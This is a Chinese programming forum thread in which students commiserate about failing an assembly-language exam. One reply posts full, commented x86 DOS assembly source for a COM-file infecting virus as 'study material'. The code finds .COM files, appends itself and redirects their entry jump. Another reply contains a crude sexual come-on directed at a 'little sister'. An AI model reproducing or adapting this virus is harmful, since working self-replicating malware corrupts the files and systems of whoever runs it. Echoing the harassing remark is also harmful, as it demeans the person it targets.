| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1186 人关注过本帖
标题:我可怜的汇编啊,要挂了,呜呜
只看楼主 加入收藏
曲水流觞___
Rank: 1
来 自:郑州
等 级:新手上路
帖 子:15
专家分:8
注 册:2010-11-25
结帖率:75%
收藏
已结贴  问题点数:20 回复次数:9 
我可怜的汇编啊,要挂了,呜呜
今天下午考试汇编,唉......答得乱七八糟,我还是过年把汇编拿家里继续看吧,来年补考,呜呜......
但愿下面的考试会顺利点吧
2011-01-05 16:56
佳嘉
Rank: 9Rank: 9Rank: 9
等 级:蜘蛛侠
威 望:3
帖 子:534
专家分:1383
注 册:2009-11-8
收藏
得分:3 
我后天考量子力学,书还没开始看,唉,肯定会挂的
2011-01-05 19:16
Alar30
Rank: 10Rank: 10Rank: 10
等 级:贵宾
威 望:10
帖 子:988
专家分:1627
注 册:2009-9-8
收藏
得分:3 
已经什么都不用考了
但是觉得现在的日子比学校考试悲惨多了。。。
2011-01-05 21:25
xiaomarn
Rank: 11Rank: 11Rank: 11Rank: 11
等 级:小飞侠
威 望:5
帖 子:348
专家分:2026
注 册:2009-3-18
收藏
得分:3 
恩,我也要考试了,愁啊
给篇代码吧(很早之前看过的,忘了从哪得的),帮楼主学习:
data_2e         equ     1ABh                    ;start of virus

seg_a           segment byte public             ;
                assume  cs:seg_a, ds:seg_a      ;assume cs, ds - code

                org     100h                    ;orgin of all COM files
s               proc    far
start:
                jmp     loc_1                   ;jump to virus

;this is a replacement for an infected file

                db      0CDh, 20h, 7, 8, 9      ;int 20h
                                                ;pop es
loc_1:
                call    sub_1                   ;
s               endp


sub_1           proc    near                    ;
                pop     si                      ;locate all virus code via
                sub     si,10Bh                 ;si, cause all offsets will
                mov     bp,data_1[si]           ;change when virus infects
                add     bp,103h                 ;a COM file
                lea     dx,[si+1A2h]            ;offset of '*.COM',0 - via SI
                xor     cx,cx                   ;clear cx - find only normal
                                                ;attributes
                mov     ah,4Eh                  ;find first file
loc_2:
                int     21h                     ;

                jc      loc_6                   ;no files found? then quit
                mov     dx,9Eh                  ;offset of filename found
                mov     ax,3D02h                ;open file for read/write access
                int     21h                     ;

                mov     bx,ax                   ;save handle into bx
                mov     ah,3Fh                  ;read from file
                lea     dx,[si+1A8h]            ;offset of save buffer
                mov     di,dx                   ;
                mov     cx,3                    ;read three bytes
                int     21h                     ;              
                cmp     byte ptr [di],0E9h      ;compare buffer to virus id
                                                ;string
                je      loc_4                   ;
loc_3:
                mov     ah,4Fh                  ;find the next file
                jmp     short loc_2             ;and test it
loc_4:
                mov     dx,[di+1]               ;lsh of offset
                mov     data_1[si],dx           ;
                xor     cx,cx                   ;msh of offset
                mov     ax,4200h                ;set the file pointer
                int     21h                     ;

                mov     dx,di                   ;buffer to save read
                mov     cx,2                    ;read two bytes
                mov     ah,3Fh                  ;read from file
                int     21h                     ;

                cmp     word ptr [di],807h      ;compare buffer to virus id
                je      loc_3                   ;same? then find another file

;heres where we infect a file

                xor     dx,dx                   ;set file pointer
                xor     cx,cx                   ;ditto
                mov     ax,4202h                ;set file pointer
                int     21h                     ;

                cmp     dx,0                    ;returns msh
                jne     loc_3                   ;not the same? find another file
                cmp     ah,0FEh                 ;lsh = 254???
                jae     loc_3                   ;if more or equal find another file

                mov     ds:data_2e[si],ax       ;point to data
                mov     ah,40h                  ;write to file
                lea     dx,[si+105h]            ;segment:offset of write buffer
                mov     cx,0A3h                 ;write 163 bytes
                int     21h                     ;

                jc      loc_5                   ;error? then quit
                mov     ax,4200h                ;set file pointer
                xor     cx,cx                   ;to the top of the file
                mov     dx,1                    ;
                int     21h                     ;

                mov     ah,40h                  ;write to file
                lea     dx,[si+1ABh]            ;offset of jump to virus code
                mov     cx,2                    ;two bytes
                int     21h                     ;

;now close the file

loc_5:
                mov     ah,3Eh                  ;close file
                int     21h                     ;
loc_6:
                jmp     bp                      ;jump to original file

data_1          dw      0                       ;
                db      '*.COM',0               ;wild card search string

sub_1           endp
seg_a           ends
                end     start

2011-01-06 17:23
你们都要疼我哦
Rank: 11Rank: 11Rank: 11Rank: 11
来 自:火星
等 级:贵宾
威 望:49
帖 子:1296
专家分:2746
注 册:2008-7-13
收藏
得分:3 
我明天考钳工2级。

小妹,哥哥看你骨骼清奇,绝非凡人,将来必成大业,不如这样,你先把裤裤脱了,待哥哥为你开启灵窍,然后我们一起努力钻研如何
2011-01-06 17:25
古手梨花
Rank: 7Rank: 7Rank: 7
等 级:黑侠
威 望:7
帖 子:340
专家分:615
注 册:2010-11-1
收藏
得分:3 
我的汇编 就是因为挂了 所以才学会的
楼主 好好挂 那样才有动力

其实我只会一点“hello world”程序。
2011-01-06 20:39
Alar30
Rank: 10Rank: 10Rank: 10
等 级:贵宾
威 望:10
帖 子:988
专家分:1627
注 册:2009-9-8
收藏
得分:0 
LS的那句“好好挂”貌似相当有杀伤力啊。。。
2011-01-07 22:24
古手梨花
Rank: 7Rank: 7Rank: 7
等 级:黑侠
威 望:7
帖 子:340
专家分:615
注 册:2010-11-1
收藏
得分:0 
那啥 你还好 毕业之前 知道 成绩
那啥 我是 人家拿了毕业证 我才知道成绩
结果老子 又读了半年

其实我只会一点“hello world”程序。
2011-01-08 00:27
plifetime
Rank: 1
等 级:新手上路
帖 子:7
专家分:6
注 册:2011-1-8
收藏
得分:3 
ls牛人呀,楼主不要灰心,我的汇编今年也不是很理想,一起学习哦

我会一点一滴的把我没学习好的知识给补上.
加油
2011-01-08 00:34
我是西瓜
Rank: 2
等 级:论坛游民
帖 子:61
专家分:97
注 册:2010-10-22
收藏
得分:0 
人与人之间最大的距离不再与生和死,而是在别人复习的时候咱再预习。
2011-02-19 10:48
快速回复:我可怜的汇编啊,要挂了,呜呜
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.016579 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved